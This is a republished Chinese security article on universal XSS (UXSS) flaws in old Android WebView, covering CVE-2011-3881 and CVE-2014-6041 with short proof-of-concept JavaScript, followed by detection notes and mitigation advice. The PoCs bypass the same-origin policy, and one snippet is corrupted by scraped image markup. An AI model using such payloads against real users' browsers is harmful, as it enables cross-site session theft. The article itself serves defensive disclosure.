星空网 > 软件开发 > 操作系统

Android安全开发之UXSS漏洞分析

0X01 前言

XSS是我们比较熟悉的一种攻击方式,包括存储型XSS、反射型XSS、DOM XSS等,但UXSS(通用型XSS)另外一种不同的漏洞类型,主要体现在漏洞的载体和影响范围上。

XSS问题源于某一个WEB站点或应用存在安全问题,但受同源策略的约束,攻击者只能访问存在漏洞的站点的回话信息,无法访问其他域的回话信息。

UXSS则主要源于浏览器或浏览器扩展程序的安全缺陷,不需要网站本身存在漏洞也可以触发漏洞,攻击者可以获取到浏览器打开和缓存的所有页面(不同域)的会话信息,因此UXSS漏洞的杀伤力极强。

由于Google把WebKit移植到了Android上,并将其作为WebView组件封装在SDK中,但一些之前出现在PC版chrome的WebKit漏洞在SDK中并未修复,因此历史的悲剧在android上再一次上演:

 Android安全开发之UXSS漏洞分析images/loading.gif' data-original="http://images2015.cnblogs.com/blog/966069/201610/966069-20161013194130515-717649344.png" />

相关漏洞可以上https://bugs.chromium.org/p/chromium/issues/list搜索。下文介绍几个对应的漏洞。

 

 

0X02 CVE-2011-3881

WebKit, as used in Google Chrome before 15.0.874.102 and Android before 4.4, allows remote attackers to bypass the Same Origin Policy and conduct Universal XSS (UXSS) attacks via vectors related to

(1) the DOMWindow::clear function and use of a selection object,

(2) the Object::GetRealNamedPropertyInPrototypeChain function and use of an __proto__ property,

(3) the HTMLPlugInImageElement::allowedToLoadFrameURL function and use of a javascript: URL,

(4) incorrect origins for XSLT-generated documents in the XSLTProcessor::createDocumentFromSource function, and

(5) improper handling of synchronous frame loads in the ScriptController::executeIfJavaScriptURL function.

 

该漏洞主要由于HTMLPlugInImageElement::allowedToLoadFrameURL函数中对Javascript URL地址校验不足,对源检测不全导致的跨域问题:

POC:

<script>window.onload = function(){

    object = document.createElement("object");

    object.data = "http://google.com/";

    document.body.appendChild(object);

    object.onload = function() {

    object.data = "javascript:alert(document.body.innerHTML)";

    object.innerHTML = "foo";

    }

}</script>

 

0X03 CVE-2014-6041

The Android WebView in Android before 4.4 allows remote attackers to bypass the Same Origin Policy via a crafted attribute containing a \u0000 character, as demonstrated by an onclick="window.open ('\u0000javascript:  sequence to the Android Browser application 4.2.1 or a third-party web browser.

 

由于很多厂商都是直接使用系统自带的WebView,这将该漏洞的影响进一步扩大化,致使当时很多主流的应用纷纷中枪。

POC:

<input type=button value="test" onclick="

  a=document.createElement('script');

  a.id='AA';

  a.src='/images/loading.gif' data-original='\u0000https://js.stripe.com/v2/';

  document.body.appendChild(a);

  setTimeout(function(){if(typeof(document.getElementById('AA'))!=='undefined'){alert(Stripe);}

else{alert(2);}}, 400);

return false;">

 

 

0X04 检测

这类漏洞可以通过御安全动态的方式进行自动化的检测,相关检测样例可以从https://bugs.chromium.org/p/chromium/issues/detail?id=xxx(bugid)中查询到。

 

0X05 安全建议

前面提到的这些UXSS漏洞都已经在Android 4.4中修复,同时它也提供了自动升级webkit的功能,以便及时修复漏洞。

 

用户:

1)        尽量采用最新版的Android系统

2)        尽量不要随意点击安全性未知的链接

厂商:

1)        客户端使用onPageStarted (WebView view, String url, Bitmap favicon)方法在跳转前进行跨域判断

2)        使用最新的Webkit内核,但APK的size会变大,并且后续需要跟进Google Webkit官方进行更新。

3)        客户端对iframe object标签属性进行过滤

4)      定期使用漏洞工具检测(如御安全的漏洞库将根据市场出现的样本同步更新)

 

 

0X06 参考

http://drops.wooyun.org/tools/3186

https://bugs.chromium.org/p/chromium/issues/list

https://security.tencent.com/index.php/blog/msg/70

 

 腾讯御安全

 




原标题:Android安全开发之UXSS漏洞分析

关键词:Android

*特别声明:以上内容来自于网络收集,著作权属原作者所有,如有侵权,请联系我们: admin#shaoqun.com (#换成@)。
相关文章
我的浏览记录
最新相关资讯
海外公司注册 | 跨境电商服务平台 | 深圳旅行社 | 东南亚物流